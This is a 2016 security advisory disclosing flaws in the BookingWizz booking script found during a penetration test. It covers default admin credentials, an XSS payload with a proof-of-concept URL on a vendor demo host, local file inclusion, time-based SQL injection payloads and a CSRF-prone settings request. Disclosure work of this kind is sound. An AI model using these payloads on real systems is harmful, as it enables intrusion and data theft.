BookingWizz LFI / XSS / CSRF / SQL Injection
Posted on 15 June 2016
1. ADVISORY INFORMATION ======================================== Title: BookingWizz < 5.5 Multiple Vulnerability Application: BookingWizz Class: Sensitive Information disclosure Remotely Exploitable: Yes Versions Affected: < 5.5 Vendor URL: http://codecanyon.net/item/booking-system/87919 Bugs: Default credentials, CSRF, XXS, SQLi Injection, LFI Date of Public Advisory: 15 Jun 2016 Author: Mehmet Ince 2. CREDIT ======================================== Those vulnerabilities was identified during external penetration test by Mehmet INCE from PRODAFT / INVICTUS Original Advisory: https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability PR1 - Default Administrator Credentials ======================================== File: install.php People are to lazy to change default credential unless application force them to do that. Line 128: <br />Default username/password: <b>admin/pass</b></div>"; PR2 - Cross Site Scripting ======================================== File : eventList.php // Improper user input validation on Line 24: $serviceID = (!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","`",$_REQUEST["serviceID"])):getDefaultService(); Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a href="index.php?serviceID=<?php echo $serviceID?>"><?php echo CALENDAR?></a></strong> Payload = 1337" onmouseover="alert(1) PoC = http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1) PR3 - Local File Inclusion ======================================== File:config.php Lang variable is under the user control. Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'", "`", $_REQUEST["lang"])) : 'english'; Storing user controlled variable within session variable. Line 36 - 38 : if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") { $_SESSION['curr_lang'] = $lang; } And using it with include function which cause straightforward file inclusion. Line 60 - 68: $languagePath = MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php"; if(is_file($languagePath)) { include MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php"; }else{ print "ERROR !!! Language file ".$_SESSION['curr_lang'].".lang.php not found"; exit(); } PR4 - SQL Injection ======================================== We've seen a lot of potentially SQL Injection vulnerability during code review. 2 example can be given for this potential points. File : ajax/checkDeletedServices.php line 19 - 20: $bsid = (!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"] : array(); $type = (!empty($_REQUEST["type"])) ? $_REQUEST["type"] : 'service'; Line 26: if($type=='service'){ $service = getService($id); $name = $service['name']; } This function executes query with $id parameter which is user input through checkDeletedServices.php file. function getService($id, $field=null) { $sql = "SELECT * FROM bs_services WHERE id='{$id}'"; $res = mysql_query($sql); if ($field == null) { return mysql_fetch_assoc($res); } else { $row = mysql_fetch_assoc($res); return $row[$field]; } } File : ajax/checkChangeAvailability.php Line 19 -21 $id = (!empty($_REQUEST["id"])) ? $_REQUEST["id"] : ''; $interval = getServiceSettings($id,'interval'); getServiceSettings function calls another function named as getService which is also vulnerable against SQL Injection. function getServiceSettings($id, $field=null) { $serviceType = getService($id,'type'); if($serviceType=='t'){ $sql = "SELECT * FROM bs_service_settings bss INNER JOIN bs_services bs ON bss.serviceId = bs.id WHERE bss.serviceID='{$id}'"; }else{ $sql = "SELECT * FROM bs_service_days_settings bsds INNER JOIN bs_services bs ON bsds.idService = bs.id WHERE bsds.idService='{$id}'"; } $res = mysql_query($sql); $row = mysql_fetch_assoc($res); $row['type'] = $serviceType; if ($field == null) { return $row; } else { return $row[$field]; } } In order to exploit this flaws, Time Based SQLi techniques was used. Payload: id=1' AND SLEEP(5) AND 'WAlE'='WAlE PR5 - CSRF ======================================== File: bs-settings.php This file is reponsible for administrator account settings. Here is the HTTP POST request. POST /booking/bs-settings.php HTTP/1.1 Host: www.test.dev User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.test.dev/scripts/booking/bs-settings.php Cookie: PHPSESSID=1511036c75229f53ae475a0615661394; __utma=256227097.1395600583.1465982938.1465982938.1465982938.1; __utmc=256227097; __utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b Connection: close Content-Type: multipart/form-data; boundary=---------------------------305761854111129072091034307 Content-Length: 2678 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass2" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="email" test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pemail" test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pcurrency" CAD -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="tax" -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="time_mode" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="date_mode" Y-m-d -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="use_popup" 1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currency" $ -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currencyPos" b -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="lang" english -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="language_switch" 1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="timezone" America/Toronto -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification" 0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification_on" n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="cron_type" cron -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="edit_settings" yes -----------------------------305761854111129072091034307-- There is NOT csrf token at all. Furthermore, application does not validated current password.